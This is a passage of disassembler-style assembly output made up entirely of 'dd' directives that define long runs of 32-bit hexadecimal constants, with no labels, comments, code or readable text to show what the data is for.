		dd 3E9EDF01h, 8EB9E68Fh, 0C267BEE2h, 608AB2CFh,	5C1E4C59h
		dd 0E583C54Ah, 53986861h, 49BB317Fh, 47C98E4Eh,	22FC13DCh
		dd 28BF04B4h, 578707B4h, 6F0DDEF9h, 8F7776Ah, 5013D69Dh
		dd 0BF589A88h, 32AC7058h, 2CF7E91Ch, 98BAD525h,	4029B858h
		dd 109510Dh, 4CF8C63Fh,	0EB80334Dh, 7DDF5E37h, 68705DBCh
		dd 0DF4262A7h, 0AD01290Eh, 0A470BA52h, 30287C26h, 0C64FEFBFh
		dd 2244F9Dh, 45A55812h,	0E8756B2Fh, 0B1EFB082h,	22AB6896h
		dd 167BEFE2h, 0EA2CDC43h, 0C59763B5h, 58C964B9h, 1762BDF9h
		dd 0AFD1D7D0h, 8F08E50Ah, 2ABB5360h, 59490F1Ch,	1CE7AE9h
		dd 61218912h, 0CCF72F0Fh, 14603839h, 0C672BDB8h, 36BC1B5Bh
		dd 3980053Eh, 4B352E0Eh, 4813A782h, 94BFC529h, 98D1619h
		dd 7B512B5Ah, 0D697E962h, 80531263h, 0AF670315h, 0C6846BEBh
		dd 89CB071Fh, 214074EBh, 80C4138Bh, 4F95BAC9h, 0F461462Dh
		dd 2A92C33h, 655997CBh,	0FDE69878h, 2C04EDEh, 1CE92316h
		dd 0A53CDFB9h, 55E9DA74h, 7D6C8EA0h, 0FAA072B4h, 4B0782BCh
		dd 6998E98Dh, 0E85E0B0Eh, 0C1BD908Ch, 0C08B0F12h, 1ED03FCAh
		dd 4C034610h, 0D41C5135h, 0F8FDD6C7h, 0E16D0189h, 0DA3193F8h
		dd 0C7004F67h, 42E80A32h, 534ED701h, 968528Ch, 7AE20E91h
		dd 0E913BE16h, 0B7B99D8Dh, 0F6BDC120h, 91D4C949h, 0A5208C62h
		dd 38815BFAh, 0C525CC64h, 5A933020h, 0F878E52Dh, 479F5C60h
		dd 0E2273F7Ch, 6E71DB62h, 0C7C45F49h, 707B681Ch, 7A05FC2Fh
		dd 5AFD9F7h, 0B3157A68h, 0DA401E3h, 0EEC11352h,	608CA12Ah
		dd 8181F1Dh, 0D3C38B9h,	0D89B6345h, 9B15F7C3h, 7D5B6574h
		dd 5201392Fh, 6A46051h,	3DB65268h, 0E61F789Dh, 91E92EB5h
		dd 0EF4AA842h, 0CD284B31h, 36B3513Fh, 0EB83B936h, 27BF2EAFh
		dd 55087779h, 0F781018Dh, 0F8351E23h, 2631830Fh, 7AD5934Dh
		dd 0F3885400h, 7CCE8B27h, 5F096FCBh, 0D4940944h, 45EB6804h
		dd 0A327734Bh, 0AF7162ACh, 0B81B2FFFh, 1EBBC277h, 0AC84F7A3h
		dd 0A1940BE1h, 789573E4h, 26B84AB4h, 692012E5h,	685501C2h
		dd 6AEB0ACEh, 0FCE46B5Dh, 0EC7F3D76h, 0AC880F89h, 0F58112AFh
		dd 0EE4B222Eh, 0EE10A241h, 51459A7Eh, 7E1924B2h, 0D8EE331Ah
		dd 6D010671h, 1297B850h, 0AE412146h, 6F644AE9h,	9A1FB85Dh
		dd 0B8D8B717h, 53F5C92Dh, 0BE77AF81h, 51E93C47h, 2A7446E9h
		dd 0D13F5625h, 4BC7575Fh, 83818072h, 7FD9C210h,	0D664518Bh
		dd 0B95C5082h, 346CCDBFh, 108EEA60h, 5EA4C010h,	403716CCh
		dd 2309BD20h, 80365843h, 0E02B6654h, 1BB8A005h,	2420FD12h
		dd 21C52DE9h, 84276473h, 0F8C99D7Bh, 56117752h,	9EBB0133h
		dd 7A7E371Ch, 33F37E00h, 0EC4A8D0Bh, 5973BE3h, 18182533h
		dd 31A34EC0h, 92DD1B7h,	8DF6C004h, 475A0883h, 0DE45D933h
		dd 4EF0B384h, 0E101FB6Bh, 91F4044h, 9059A93Ah, 0D33F10EDh
		dd 0B80B813Bh, 0ABDF9EFDh, 316C7D5Ah, 3326E918h, 1E3D305Fh
		dd 0E9890FACh, 0E15313C8h, 0E5003F07h, 133B2A8Fh, 795B092Dh
		dd 36FE2F33h, 2D860720h, 3CD9E635h, 1B1B80AAh, 0ECA04856h
		dd 0A924E490h, 0D10D1B7h, 240FF85Bh, 0E71092A5h, 525D5482h
		dd 15CA3860h, 0B91D282Eh, 947A4600h, 25840F0Ch,	0C0E8F7E1h
		dd 0E93E6E80h, 3B8F171Fh, 9E5291A4h, 0C5E327A2h, 7EC5BAC1h
		dd 488486A2h, 2597E95Ch, 513C8316h, 7044E956h, 0C2B46639h
		dd 0A4771FD4h, 1EA3200Dh, 0A5A277Eh, 20A503D3h,	0E1B95152h
		dd 579D2D01h, 9217175Eh, 684E8B41h, 627C77ADh, 920F2C4h
		dd 672955BFh, 2909917Eh, 0E24B89D9h, 74597783h,	0AD9C5769h
		dd 4E97FC9Fh, 607684A9h, 6C6E2140h, 31577C4Fh, 8BE91368h
		dd 27296A56h, 16CDE87Fh, 2FF90EF1h, 58FCED2Dh, 0A090782Fh
		dd 58276442h, 0BF257C28h, 942DD8C0h, 0BE53121Fh, 7D4F3CC9h
		dd 0A0325294h, 0D5E67179h, 0F7152B85h, 5FE658B3h, 650539AFh
		dd 0C5996FC2h, 60599A2Eh, 0E9555A07h, 2029BEF7h, 88531C98h
		dd 0AF99FC7h, 4781A299h, 0FAAB2FF6h, 5C84E809h,	0E0671FE3h
		dd 88177D2Dh, 7A1E9FC5h, 5EC86784h, 1581F7Eh, 237029E7h
		dd 0D2F62056h, 6D8B4B06h
		dd 0F4ECC709h, 59F7A814h, 3F282445h, 0A222029Ch, 82DF6DC1h
		dd 7DEDAF20h, 3AF0E4FAh, 46D03AE9h, 4E28106h, 69CC2B84h
		dd 5020EB4Ah, 4F1533A1h, 0E4FAA03Ch, 0BF416C41h, 1D06AD4h
		dd 9CF96EBh, 4CF5C329h,	0FC0A926Fh, 22192F2h, 25BA52D3h
		dd 17401971h, 0C182E3FEh, 0BE513E9Dh, 0EF045282h, 55091087h
		dd 0B64B8668h, 0F75B1AC9h, 99002A4Ah, 196B32D4h, 72512148h
		dd 12E0462Ch, 54A8D469h, 31706A90h, 5A64FE95h, 0B442F9F1h
		dd 8ED07FA8h, 2659CE24h, 2FDEF658h, 37783DE9h, 0C3AC585Eh
		dd 601309D2h, 854FFABh,	0DBC12054h, 5ED1092Dh, 44FB02A8h
		dd 62771E7Fh, 29946192h, 929FBDB7h, 7FC407C4h, 0E84C2A2Ch
		dd 0BD95F827h, 7F002E09h, 1F06C884h, 0F6B9E91Ah, 1D83F58Dh
		dd 0FB851095h, 31ED13D9h, 0EC4EB77Ch, 0AA3D4A96h, 7609982Eh
		dd 20EBD94Bh, 5E39A3BCh, 0BFB91418h, 6986E90Bh,	0C9F92E66h
		dd 0C023017h, 0EC73CA68h, 0E9A3A087h, 2D6F9C72h, 8472C7F1h
		dd 0CCAF3A59h, 165DA64Eh, 0C657252Bh, 0B0F8250Ah, 915F8864h
		dd 8A185DEEh, 33B7CF31h, 0E8C7FE09h, 14E9F086h,	0F1C09F47h
		dd 760D5C87h, 64F82922h, 5E0CD320h, 0D6ED5401h,	0AA55B12Fh
		dd 7C07E7A1h, 4085CB41h, 5D841EAh, 0E70B9E3Dh, 4671C7A8h
		dd 0E4C56FEDh, 882398ABh, 515BFE24h, 2FE9B058h,	0CCD8290Ch
		dd 9C28C639h, 6E3BEFEEh, 917BB010h, 42D5695Dh, 730FA28h
		dd 2ECFFDC3h, 0F0BCB5EEh, 7900BAE3h, 8128A932h,	95014F2h
		dd 0EFE92713h, 0B6BEE4F0h, 0A9354000h, 0BCCC1D8Fh, 48F8285Eh
		dd 68C209ADh, 0C0A46AD5h, 0FFF4BF7Bh, 4A23F02Ch, 5A22A4A6h
		dd 4083EF02h, 405EF331h, 8237EDA0h, 0DE6CC0F7h,	0F51197B1h
		dd 0A8982A58h, 5D2D06D0h, 0D07C0250h, 0E9C068B7h, 6E01B527h
		dd 3B284268h, 416E6530h, 2708B882h, 1E22712Bh, 0C102E413h
		dd 690EE0EEh, 0A64282D2h, 6EDD016Ah, 0D1292E9Eh, 0C06DA8B5h
		dd 0D94439CCh, 0DE090121h, 0FE4DCF68h, 928B65D5h, 7B5D5A3Ch
		dd 876AC21h, 0F70B9D61h, 0B8BC83DEh, 0D61127D4h, 0A1602F8h
		dd 0C4083253h, 24B2CC3h, 0BC2561BEh, 5EF1E7E0h,	4F2F537Fh
		dd 0D61B982Dh, 54A50066h, 5A9929BBh, 0B4D401ABh, 0FEDA2461h
		dd 829FD6A5h, 1E027126h, 0DAE33106h, 49774ADEh,	0D42B0141h
		dd 56F94528h, 2E5E9057h, 6305A642h, 5CE9C689h, 8AB812AEh
		dd 0BE74201h, 99668068h, 1A70556Eh, 96670CE9h, 0E6545763h
		dd 490C011Ah, 0E0D210F8h, 68569707h, 0F4764109h, 0D5F4EB77h
		dd 0F2269A09h, 157D4AF1h, 0AF4B8B83h, 0DA08E879h, 299740EFh
		dd 215BDF16h, 0ACBFD04h, 588400Ch, 0FFE43504h, 0C2AF8765h
		dd 0B26A45D3h, 624F9F63h, 5D3A26E9h, 0C5B7A94Bh, 0DAB40159h
		dd 0CB735F4Eh, 66B15E6Eh, 0BB3C347Eh, 7C1725B3h, 0E634BFA4h
		dd 2EC8CAEBh, 630B6556h, 74965DDFh, 0D7315C1Ch,	0E908FA98h
		dd 8DB45B2Ah, 0D5F96FC0h, 6FF2BBF5h, 0AF598D65h, 69C63B21h
		dd 6FC40E6Ch, 64BF091Ch, 7ED77F56h, 0A5FB27FAh,	0B53DA866h
		dd 0FDBCCAC1h, 8762BB4Bh, 2567FFDAh, 0E9135720h, 7521349Ch
		dd 0A6CDF684h, 95EF52ECh, 0D5CDE67Eh, 0A3D5A701h, 0E22BBC2Fh
		dd 0A55AF4h, 0DB27D8C3h, 7A8C0F1Eh, 15D09A4Eh, 174260F7h
		dd 0E0D1E938h, 880BB8B7h, 0C68B41Dh, 9DD27D59h,	719DFCA6h
		dd 388F5D31h, 0CACC6A81h, 6F952F3Bh, 30D596D7h,	0C1D9AF50h
		dd 3711BBCh, 4FBB7F6h, 65792C80h, 0A165C0Fh, 0EDA81C62h
		dd 8AC97F46h, 4940D950h, 0D6BE6E10h, 30310B13h,	0DD23C0Dh
		dd 2EDDB07Bh, 698F9E5Ah, 0A728FE5Bh, 41E1D42Dh,	0F8EA1A15h
		dd 4509074h, 47335380h,	77F9AA5Dh, 0AFA31F8Bh, 9BD97ABAh
		dd 537EDE39h, 0C13AD2AFh, 0AC76A30Ch, 0B0F53B20h, 0ADD40807h
		dd 975BEEB0h, 0B31219FEh, 8D4BEEF8h, 0B21F2082h, 7A2AE697h
		dd 0D261AA06h, 0ACAAA5F3h, 563BE387h, 117C5D48h, 0A05B7930h
		dd 0AACED664h, 8BEB3601h, 0E9500431h, 41AED580h, 6F252984h
		dd 0AA09EC1Bh, 0C95FC6CEh, 5D174205h, 0A4F8A2ECh, 2DBEA34Bh
		dd 41EAF8ADh, 511FCEA5h, 7E7B5309h, 8810F2DBh, 14F09EAh
		dd 4C52CA21h, 3BB69D7Eh, 5BC9F7A8h, 2642D7CAh, 0DD25DD56h
		dd 650EBE31h, 0DC082FCAh, 0C33FB826h, 35FE3E1Ah, 7C2FBE5Ch
		dd 87A78918h, 84504A55h, 0FB1F3245h, 0B4B2FA12h, 0F5C0CD10h
		dd 0F64F268h, 0C931F67Ch, 647DE85Ah, 4A47F0CDh,	5B16DABEh
		dd 0E9F0EDECh, 7BD3D1DCh, 7D0AC503h, 0BAF01D20h, 2B198449h
		dd 1014FC09h, 0BD052193h, 49F2245h, 0E7DE92BEh,	2C94036h
		dd 0C15712BDh, 502B859Ah, 6D161294h, 1D37FFA7h,	0A3EA5BD4h
		dd 0E9CDE57Fh, 57B3D101h, 2064312Dh, 0FC6D8155h, 2A42F514h
		dd 0D4CB5AD0h, 1329F627h, 61712868h, 2FAED3E8h,	0CB478FCh
		dd 11CA1D2h, 1172FA5Ch,	3D623D78h, 6803E3C0h, 381B7A5Fh
		dd 0AC5B2E9Bh, 0DFC2A248h, 3EB09A13h, 74607046h, 9A4CBD0Ch
		dd 90017C65h, 44AC0FA0h, 0EFC033F6h, 0BEBBFD9Ch, 9D8FD89Fh
		dd 2CC0F44Ah, 0AC01423Ch, 488E6830h, 615D33D9h,	1E80847Bh
		dd 9D5A7083h, 47092B0Ah, 907197E9h, 1556F0C2h, 9F5E76D3h
		dd 3A0DD209h, 47015A00h, 312D726Bh, 583478DDh, 3625F52Dh
		dd 0FD87F576h, 802B1F22h, 92576FBEh, 0B7D2BD55h, 7F590881h
		dd 77879D09h, 75886BEFh, 0DEE02FA0h, 4E0F7D22h,	0C4D2F738h
		dd 7CADB62h, 38ACB87Dh,	0EE5B3CCAh, 0F7BBDB64h,	0C1909F67h
		dd 0AFBBE02h, 0C463054Bh, 3BBCEEE1h, 7D2D7840h,	0D7091544h
		dd 1C87E955h, 5D2F9BE6h, 0DBC2A896h, 79169668h,	6137EDD5h
		dd 31FD52F2h, 0B565BEE0h, 0A9AD0ECFh, 0FD3BE28Ah, 6828F758h
		dd 9F255D03h, 7311D26Ah, 0B1F13283h, 0CAE13E0Ch, 0CFBF9D69h
		dd 740E2FC9h, 6E2FBF5Ah, 0A5E2C343h, 26263364h,	16F2308h
		dd 27C4316Dh, 0C4EEE86Eh, 9BE77E9h, 0D379339Dh,	13F8D567h
		dd 5160EA5Bh, 0EE0568h,	315D5AF4h, 9FA6E9E8h, 159653BDh
		dd 9774B828h, 0C9554FE4h, 8CBB4285h, 0C2811AFEh, 73EB619Dh
		dd 0C82290h, 0CC685255h, 0B7206074h, 0ECCAACB0h, 42AF7697h
		dd 67577B6Ah, 95183F2Bh, 0E1EB6788h, 0CA46512h,	8188294h
		dd 275A4A0Ch, 55B36ADh,	0B941A30h, 0A1295E3Eh, 38997AFAh
		dd 3C84FB2Ch, 2CBA0044h, 26608873h, 16B078B9h, 53A5048Ch
		dd 4B738A07h, 68A560BAh, 7EE13A74h, 0F9D660F3h,	0B65F7E89h
		dd 0D300FFA9h, 8105216Ch, 58047BEEh, 0C1E91D26h, 655A58ECh
		dd 0CDE4EE82h, 79E6B56Ch, 0D7F14927h, 5266A0A2h, 54DAD455h
		dd 1E92EFF0h, 0A02E4F7Eh, 82695938h, 0F4C3DF7Fh, 0B5E9E0Fh
		dd 0F4563Fh, 58BEE9D8h,	15C6C038h, 0C70B2546h, 8BEA718Fh
		dd 0C608F556h, 0FC5B1208h, 81E9A1ECh, 4E70E16Ch, 0AFCD35D8h
		dd 0B753CBC0h, 9B2EC49h, 0DA48E90Bh, 0A5EE0ECh,	0BD4BAEBCh
		dd 4DE3922Eh, 176F5950h, 0AC102851h, 38630B95h,	0B5C2D72Bh
		dd 41C080Dh, 222F8114h,	0D1FB05A3h, 3EF846Dh, 9CF4A789h
		dd 50EA0h, 19455B62h, 1D0C3325h, 0C80B327Ah, 625DBE24h
		dd 0B158FFC0h, 0D35119E4h, 0C8B1E4FFh, 0E9859204h, 0C11F3C7Dh
		dd 471B40F2h, 0AEB16F1Ch, 0F4EDBF20h, 0E9060938h, 1D68F60Bh
		dd 10500470h, 464AB7E5h, 3440A799h, 2E7740h, 0DBE68108h
		dd 0C10D3F61h, 0BF202BEDh, 7619EBFCh, 4F62CE7Dh, 7CE936E1h
		dd 0F66581E1h, 0DC16BAEh, 0B774C834h, 72589942h, 9690DB1h
		dd 16C74E5h, 0B22A0BBFh
		dd 0D0A52071h, 0DF30C141h, 272D2768h, 292584F3h, 0FBAB5FE0h
		dd 0E97AC85Fh, 1C81E9D1h, 0D710B005h, 0F6ABEB23h, 51A6AA85h
		dd 289D1C10h, 4701B889h, 5F3BE781h, 113F4AD7h, 6B38D6C9h
		dd 0F557F81h, 34E69184h, 31BADEC4h, 5EBC042Fh, 0AB007AA9h
		dd 6164074Eh, 0D6F7461Ch, 244258FCh, 2CBDE4Ah, 5776EA88h
		dd 4430E614h, 0A4C71747h, 1E270946h, 0C6FFFE29h, 3A539F10h
		dd 3773E904h, 5BE79BEBh, 0D2D0C516h, 3B3135C2h,	0E20452A7h
		dd 0C17E4693h, 2A5B94D4h, 0D6AC4847h, 12E55F0Bh, 52C5283Fh
		dd 7379C905h, 0A013405Dh, 0F0017B40h, 1D12B02Dh, 0A75E7185h
		dd 60D80D6Bh, 317AEA50h, 1C762400h, 783B054Ah, 0BC82F913h
		dd 65B021C5h, 0A0FAA5D5h, 0C5EA4195h, 9C64090Bh, 4CC593AFh
		dd 0F4AA671Eh, 0B7F39071h, 3590C095h, 7C880F1Ah, 8468D735h
		dd 0B080725Dh, 0C700B720h, 2DD8F748h, 3A31FB01h, 97613533h
		dd 0F47194C5h, 0E17AA82Bh, 7F3527E9h, 8987A138h, 7D5BC2F9h
		dd 55E9E8F4h, 0D4BF61DAh, 66FF7278h, 20682786h,	5DF4DE62h
		dd 7DF28FD1h, 29CB3A71h, 0DB557Eh, 5250DCA5h, 2420E557h
		dd 6BE9C2BFh, 73DDE94Ah, 0ECB5444Ah, 81EC4E01h,	717FA9F2h
		dd 1557257Dh, 628A8C2Bh, 15ECEB1Dh, 0DE22E325h,	0AF514442h
		dd 0A110BF8Bh, 825B3F03h, 0FF6B70F5h, 25FC749Fh, 0C76BE45Ch
		dd 6CE4AD98h, 56E927h, 4E1A05E2h, 2D160294h, 65233CBCh
		dd 0BB5CF362h, 9C9FA220h, 0EEE92D0Bh, 485D5641h, 0A140A485h
		dd 80DF0EF6h, 0F760D1EFh, 5BFC30BBh, 77E3282Eh,	68C3D85Bh
		dd 35395E80h, 0E87005CCh, 79B5F807h, 0F06B58h, 0C9FE6FB1h
		dd 0C7F9A9E9h, 0CE27B830h, 0C6093261h, 0AE053A58h, 0A1CD87E9h
		dd 0C80CF49h, 2D5A3E07h, 9F67D7E9h, 869CF383h, 77EB0680h
		dd 0E360A868h, 0B6DD033h, 0A51E655h, 77108DC1h,	0CCCA13B3h
		dd 0EA4DD1F7h, 12074A41h, 5D09D7C2h, 129816Eh, 8836A9C5h
		dd 0F8302465h, 0BC92742h, 0DEB72E57h, 0F086E916h, 0E54FD1B1h
		dd 417B70F4h, 9EC640E0h, 614CCC25h, 42850E7Bh, 0C7E942F3h
		dd 0B6BD0002h, 154C1308h, 0B7F620D8h, 0CBC717E8h, 3D44241Fh
		dd 1CF3799Fh, 0B887FD5Fh, 64B1CD95h, 4348A71Ah,	0AD3ED72Ch
		dd 6DC32974h, 5322849Bh, 9CC03060h, 1752F09h, 0AC1E18EAh
		dd 755BAAAh, 56688935h,	84C24733h, 0E234BE01h, 12FBFE16h
		dd 8ECEEE53h, 0B4F7AA17h, 0C29FCB9Dh, 0B19581Ah, 56FE6972h
		dd 681647D8h, 9AFC15A6h, 9F5EBAC0h, 0F4DE92Bh, 4EF44DB5h
		dd 0BFB584FDh, 250FDD8h, 71E5BB53h, 1B403010h, 2D2D70B1h
		dd 65AFC16h, 75911DE9h,	95AF298h, 151049AEh, 52D6515Ah
		dd 80B598E8h, 0D534959h, 0E2E81F4Ah, 0AE28F235h, 0A5C438F2h
		dd 6F29EB2Eh, 0E99F712Ah, 0A1096EE2h, 4FEC5D5Ch, 8596882Fh
		dd 0B7015280h, 0A4D3D72h, 0DCFFE340h, 89622088h, 0FC35BA98h
		dd 7F442E75h, 491D27B6h, 0BA0E2CFh, 3B8C0FD9h, 0C11958B1h
		dd 2011E428h, 0E78A00EBh, 0E1810254h, 48DF7742h, 0F1EC8009h
		dd 4B0E3B53h, 93F8FC03h, 3C82A216h, 1BB08231h, 5A66037Fh
		dd 6A7097F2h, 0DE72ACB0h, 0B6B8F74Fh, 0EFCCEBF5h, 7166965Ch
		dd 33CCE1E9h, 0F7B94B8Ch, 0D30A925Ah, 0F37DD5EAh, 81A0C9C8h
		dd 5E096A50h, 0FA59E0B7h, 8ADB9D7Ah, 4FB2802Fh,	0A057A934h
		dd 2472FB1h, 800F52E9h,	5F5C6B5Dh, 0C0B3C9Ch, 0FBAF841Eh
		dd 41461F12h, 0D75993F2h, 98E83A2Eh, 0CFDFB186h, 7744CE6Bh
		dd 3A910ACCh, 527C688Eh, 0C6D8F2E3h, 0FF046852h, 5A099606h
		dd 34173CC0h, 0F350994h, 0E8C1F68Bh, 6BBE8342h,	0E9396D76h
		dd 0C56FBA83h, 463CBE1Bh, 0EED89F53h, 435F6438h, 5E6B9540h
		dd 82C127C6h, 0B800CA4Bh, 72010A1Eh, 58C12E2Ch,	4BF93F49h
		dd 2AD0211Ch, 95CF3BC2h, 0E9E58802h, 46FF9DEBh,	0C03C4A15h
		dd 228D683Eh, 8809799Fh, 2D01EC51h, 82FDF81Dh, 809F38E8h
		dd 6C78C180h, 4FE45C35h, 0B84BD8F8h, 155E930Eh,	573BF409h
		dd 0DCB5849Eh, 37846209h, 3144F990h, 3675FB30h,	1A406D4Ch
		dd 1CF2295Ah, 51C080Dh,	1810ED14h, 0EB7FA9B6h, 16EA9003h
		dd 0BC226052h, 3419001Fh, 80E96B38h, 58BCA4C0h,	93062E04h
		dd 5648447Bh, 0D830E60Eh, 0F0CAC032h, 0C341B64Fh, 58789A0Ch
		dd 260286F6h, 0E976F666h, 0C2DCE7h, 0C7780548h,	60F69AB2h
		dd 7032985Fh, 0FD105766h, 0B5AC54B1h, 1C8D2920h, 0FCC3805Ch
		dd 0D3FA25A5h, 74F90F27h, 0F5E153E2h, 78432F5Ah, 0EB5E159Ah
		dd 484B501h, 0C3FC0812h, 0B23BE85Eh, 25B7FE28h,	3054C4F4h
		dd 0F51F0F72h, 102F8E46h, 0F102C31Ah, 423F1917h, 0E270543Ch
		dd 54B0170Eh, 0F46055Ch, 0F4F5CE81h, 395B5D27h,	661D83B7h
		dd 2C47C75Bh, 0DED80793h, 7D7ABC9Dh, 0B521B88Ah, 0D6F7AE48h
		dd 0C01E6738h, 686939A7h, 95B645Ch, 3AF5870Eh, 0EDFC554Eh
		dd 2FC2CB44h, 1EF6D0D3h, 0C253565Eh, 357C6185h,	0C3C1F0D6h
		dd 0CADD9E7Fh, 4A21AC31h, 0ABFBB24h, 391425E5h,	0FF870297h
		dd 0EE62F40Ah, 4001DFD8h, 6C11ED2Dh, 0B0C33560h, 0B831EEEBh
		dd 9D98DEh, 457948C3h, 109DCB81h, 2F093A2Fh, 33F7C19Dh
		dd 6B6861E0h, 0FC108958h, 36844BFAh, 65BD02EBh,	627F7E23h
		dd 27AD6F0h, 2193DC78h,	4A78F17Fh, 332F025Ch, 99601CA6h
		dd 0EB1D104Ch, 2572E91Fh, 113DC049h, 17673E3Ch,	0A206C312h
		dd 0A5B98005h, 0B078901Ch, 5A2185Dh, 0FDC1C807h, 0BFFEDB05h
		dd 3BC1CF01h, 0EA15312Ch, 7F5FB809h, 0BC641EBBh, 0A3C24BD6h
		dd 90EAF827h, 0FAFB4F46h, 0AA11E549h, 1F0B438Eh, 3CBAD595h
		dd 7C43F06Ah, 4D5D0B13h, 960A4106h, 31B0902Ch, 285DE1B7h
		dd 505C02FCh, 0C4C2DC9h, 146A47A4h, 0F8F50392h,	0E1E62B39h
		dd 273FA404h, 8989398Fh, 51E4474h, 8863A64Bh, 591306E6h
		dd 0EE82B08h, 0C4C3C3B4h, 0F02D30B2h, 409FF46Bh, 6E3A3592h
		dd 810DA800h, 0F35B6AEBh, 4FFA954Fh, 0BFE90880h, 0BA80DB60h
		dd 4FF12BC5h, 4334F005h, 0DF02B890h, 0E94B2503h, 0B2AEF014h
		dd 88659F8Fh, 0E32B6F8Ah, 4C17E340h, 1AFAA04Dh,	7364094Ah
		dd 0D07843E9h, 0BF4584Eh, 5AA44061h, 0B450660Fh, 0AED25E36h
		dd 6B529BABh, 243A6A38h, 0BE8152D3h, 0DBF81BEAh, 0E58082BBh
		dd 6F8B5BD7h, 0A5955FF6h, 0FFC9C63Dh, 7107456Eh, 0C423E3B4h
		dd 0CCAF3EFFh, 51773ECh, 0F5A72BBFh, 25DCCA92h,	0B9BC775Ch
		dd 0A37FC630h, 2F6A71EBh, 14D73525h, 0BDDC9D11h, 80D1ACD0h
		dd 5E025D56h, 49EC6B68h, 0EA6CC096h, 7EB938E9h,	0F827BE5Bh
		dd 16BE1EA4h, 0B7F4D421h, 79B992F6h, 0D5AF7D84h, 0C49F09CEh
		dd 1634174h, 68B33870h,	61314BEh, 603B125Bh, 0BF575183h
		dd 6415C813h, 35F78A03h, 47569965h, 0EF78B43Ah,	9727F8EEh
		dd 0C9D844Eh, 0BE2C13AFh, 3C108DCBh, 84993h, 862EB725h
		dd 308F0F28h, 401C9B99h, 9563E9h, 8BEC8899h, 0EC594AEAh
		dd 534A7D4Fh, 0F474C80h, 63812485h, 0E8864028h,	5F95F1BBh
		dd 0A680C0A9h, 5FEE68E9h, 533BB727h, 202908F0h,	0D0726628h
		dd 89E8C54Bh, 18A7DD1Ah, 0BB38FD5h, 9FA9F0E3h, 662D3467h
		dd 1955305Ch, 0C54DC78Fh, 2BE0E3Bh, 5423E2EEh, 0F5CADF48h
		dd 1DE90802h, 2CB8B248h, 0C55A7228h, 3128EDB0h,	0CD4EC8D9h
		dd 0E9A338ABh, 1DD98E49h, 0BECBD101h, 0A5E3A23Dh, 60E0F63Ah
		dd 50AB4ACCh, 140B1A98h, 8008EB0Bh, 0EA3B2306h,	0F0017676h
		dd 5808A1EDh, 4D0E0E83h
		dd 4C9F0D26h, 5B12FB2Eh, 10FA050Fh, 933BFC3Dh, 6307E2A5h
		dd 0E9057867h, 4DF452C0h, 1D250FDFh, 13935E26h,	9699AAD3h
		dd 2FEA0DA6h, 5E7C32FFh, 58DD5210h, 0FEE2E62h, 81F7C950h
		dd 2948821Fh, 2FC8005h,	653BF381h, 1903AC07h, 0D0C17CAFh
		dd 0E92DDD01h, 68720138h, 0CD8865A8h, 0DC258B8Eh, 0B8626268h
		dd 0D6EB0D74h, 0E5427CBh, 0E513CBAEh, 0B23B46F1h, 0ABC203FDh
		dd 0F92C9D3Eh, 1E81F24Dh, 0DB2D5F35h, 1F162E94h, 0E19F3644h
		dd 1E9200F4h, 0CB4A6E3Ch, 2374A3F3h, 0D12F2789h, 0F9CBCFADh
		dd 67DD7429h, 0EFAE3000h, 20273418h, 0A0217E2Fh, 29519708h
		dd 0C8E95385h, 0BA1394BAh, 0C04E65CEh, 30325540h, 3EF8FDE5h
		dd 0C4517D8Bh, 4BAF98DDh, 838D2F0h, 5B5B5068h, 0FA51AC40h
		dd 4F75D665h, 0D092B903h, 8C751620h, 312F3D7Bh,	0F668CEB7h
		dd 0B5E47090h, 7772F8DCh, 123148AFh, 0B4C890F5h, 67D69757h
		dd 0C7E15FF1h, 0B421A86Fh, 814FCCFEh, 6619E600h, 800F507Fh
		dd 4618408Fh, 57697896h, 0D920D196h, 0F8294FA7h, 2E0C7320h
		dd 0E5901DAh, 27550232h, 8656E96Eh, 0E826D1E5h,	0F8F9802h
		dd 5A105FD8h, 9155E0E9h, 4B7C2495h, 0D0E2065Eh,	0B652500Bh
		dd 0D4645282h, 0C171DBDFh, 3D578AE9h, 0E7A84B3Fh, 6D30B148h
		dd 122EEB2Bh, 0D7562D27h, 4083608h, 0EE4132E9h,	6801818Eh
		dd 56218029h, 5AB2B59h,	6230D481h, 0B6755271h, 40144703h
		dd 81F0ED0h, 0E5010520h, 6B114341h, 0FF8B842Ch,	0D0C1D142h
		dd 824B02E0h, 6452E4D8h, 0C6086126h, 60A91679h,	2A2F833Ah
		dd 0FF6C1457h, 9F59C734h, 79750412h, 0C8305073h, 8BBE5BBDh
		dd 0B176EC31h, 0CCF0614Eh, 8BF48A58h, 563EC061h, 419DE68h
		dd 0C8A0185Ah, 0C75F1687h, 34E0B954h, 0D009A741h, 0BFE9F0BEh
		dd 5D9B3466h, 224D6804h, 0E9C2F2F8h, 0BE523397h, 689710ECh
		dd 0E177A256h, 8606B26Eh, 9573B0E9h, 24F2B9F9h,	1D05420h
		dd 0E5FECB88h, 4270FCD2h, 0C52EAB36h, 32EBDD58h, 41782AECh
		dd 54D698BDh, 0BE0BC424h, 66161680h, 0F35A8BA8h, 0BFB4130Ch
		dd 2F7C4D08h, 0C3295A82h, 0F0E962B8h, 0F6382B4Fh, 83AA42C1h
		dd 0AE033DE9h, 8EC025B5h, 7A0BDDD2h, 136247h, 0FA0D4DC8h
		dd 89314C19h, 9F83FC19h, 74B1DCCFh, 3D82E59Eh, 0D59FE6DEh
		dd 6E77418Bh, 48599D54h, 5600B468h, 9772FDBEh, 0BFE91345h
		dd 0AB7835FAh, 2F57B982h, 0F4C31B10h, 5A67AB22h, 49F480B3h
		dd 0D3B85591h, 19AE7930h, 4F8A4CF5h, 67DAB14Eh,	0E6C22A85h
		dd 9D15D0BFh, 0D6CA3D76h, 0BDEC5D25h, 86937098h, 44A9B70Fh
		dd 8BA8B625h, 0D5D098D7h, 6B427B4Bh, 0EC17948h,	9B3F9A6Fh
		dd 35980C22h, 489F8F69h, 9587C454h, 4D40871Ah, 6881F0F6h
		dd 0C4A8D57Ah, 3AF2BB86h, 50C7FC93h, 0A9947684h, 57B24862h
		dd 2A34C27Bh, 0C604E2BAh, 4F59C701h, 476FB458h,	0B9000D41h
		dd 1F6149F6h, 57D5F726h, 5AC2ECD2h, 0BB18C4A6h,	0C0C1319Bh
		dd 0AB25221Eh, 40BAE2D3h, 5585B60h, 9D051543h, 2DD8294Ah
		dd 86AC0714h, 485AEEF0h, 3D108F52h, 0A5AC3ED5h,	4078C10Ch
		dd 0B4815E7Ah, 0DBE4FA44h, 70B1415Bh, 715BC401h, 0D7F26427h
		dd 0DA165FA0h, 5581E1EAh, 5235AADBh, 0BC594CF3h, 0C4802839h
		dd 53DCF636h, 0C7F654B7h, 43E98509h, 51C5DF2h, 0EC1AB124h
